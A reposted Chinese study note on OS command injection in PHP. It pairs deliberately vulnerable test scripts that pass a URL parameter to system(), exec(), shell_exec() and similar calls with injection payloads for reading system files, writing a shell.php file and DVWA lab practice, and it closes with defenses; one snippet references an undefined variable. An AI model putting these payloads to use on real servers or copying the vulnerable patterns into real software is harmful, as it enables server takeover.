IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 网络协议 -> 网络安全笔记-OS命令注入 -> 正文阅读

[网络协议]网络安全笔记-OS命令注入

OS命令注入

原理以及成因:

程序员使用脚本语言(比如PHP)开发应用程序过程中,脚本语言开发十分快速、简洁,方便,但是也伴随着一些问题。比如说速度慢,或者无法接触系统底层,如果我们开发应用,特别是企业级的一些应用需要去调用一些外部程序(系统命令或者exe等可执行文件)。当应用需要调用一些外部程序时就会用到一些系统命令的函数。应用在调用这些函数执行系统命令的时候,如果将用户的输入作为系统命令的参数拼接到命令行中,在没有过滤用户的输入的情况下,就会造成命令执行漏洞。
1、用户输入作为拼接
2、没有足够的过滤

漏洞危害

1、继承Web服务器程序权限(Web用户权限),去执行系统命令
2、继承Web服务器权限,读写文件
3、反弹Shell(服务器主动连接攻击方)
4、控制整个网站
5、控制整个服务器

相关函数示例

  • system()
    system()能够将字符串作为OS命令执行,自带输出功能。
    测试代码如下:
#system.php
<meta charset='gb2312'>
#1
<?php
$str="ipconfig";
system($str);
?>
#2
<?php
if($_GET['cmd']){
	$str=$_GET['cmd'];
	system($str);
}
?>
#
<?php
if(isset($_GET['cmd'])){
	echo "<pre>";
	system($_GET['cmd']);
}
else{
	echo"?cmd=ipconfig";
}
?>
  • exec()
    exec()能够将字符串作为OS命令执行,需要输出执行结果。
    测试代码如下:
#exec.php
<meta charset="gb2312">
<?php
if(isset($_GET['cmd'])){
	echo "<pre>";
	print exec($str);
}else{
	echo"?cmd=whoami";
}
?>
  • shell_exec()
    测试代码如下:
#shell_exec.php
<?php
if(isset($_GET['cmd'])){
	print shell_exec($_GET['cmd']);
}else{
	echo"?cmd=whoami";  # cmd=systeminfo / net user add
}
?>
  • passthru(). 自带输出
    测试代码如下:
#passthru.php
<?php
if(isset($_GET['cmd'])){
	passthru($_GET['cmd']);
}else{
	echo"?cmd=whoami";  # cmd=systeminfo / net user add
}
?>
  • popen().执行OS命令,并非返回命令结果,而是返回一个文件指针。
    测试代码如下:
#popen.php
<?php
if(isset($_GET['cmd'])){
	$cmd=$_GET['cmd'].">>1.txt";
	popen($cmd,'r');
}else{
	echo"?cmd=whoami";  # cmd=systeminfo / net user add
}
?>

查看1.txt文件

  • 反引号`(Mac英文输入下,option+1左边的键盘)
    反引号``内的字符串,也会被解析成OS命令。
    测试代码如下:
#`.php
<?php
if(isset($_GET['cmd'])){
	$cmd=$_GET['cmd'];
	print `$cmd`;
}else{
	echo"?cmd=whoami";  # cmd=systeminfo / net user add
}
?>

漏洞利用

OS命令注入漏洞,攻击者直接继承Web用户权限,在服务器上执行任意命令,危害特别大。以下命令均在windows系统下测试成功。

  • 查看系统文件
    提交参数
    [?cmd=type c:\windows\system32\drivers\etc\hosts]
    查看系统hosts文件。
  • 显示当前路径
    提交参数[?cmd=cd]
  • 写文件
    提交参数
    [?cmd=echo"?php phpinfo();?>" > D:\xampp\htdocs\Commandi\shell.php]
    页面没有报错,说明文件写入成功。访问shell.php文件。

防御方法

  1. 尽量减少命令执行函数的使用,并在disable_functions中禁用
  2. 在进入命令执行的函数或方法之前,对参数进行过滤
  3. 参数的值尽量使用引号包裹,并在拼接前调用addslashes进行转义

练习

安全是需要全方面考虑的问题

DVWA 命令注入(代码审计)

low
127.0.0.1| whoami
127.0.0.1|whoami
127.0.0.1&&whoami
127.0.0.1;whoami
127.0.0.0.1||whoami
medium
127.0.0.1| whoami
127.0.0.1|whoami
127.0.0.0.1||whoami
high
127.0.0.1|whoami

参考链接

OS命令注入

  网络协议 最新文章
使用Easyswoole 搭建简单的Websoket服务
常见的数据通信方式有哪些?
Openssl 1024bit RSA算法---公私钥获取和处
HTTPS协议的密钥交换流程
《小白WEB安全入门》03. 漏洞篇
HttpRunner4.x 安装与使用
2021-07-04
手写RPC学习笔记
K8S高可用版本部署
mySQL计算IP地址范围
上一篇文章      下一篇文章      查看所有文章
加:2022-08-19 19:37:39  更:2022-08-19 19:38:05 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/25 23:21:42-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码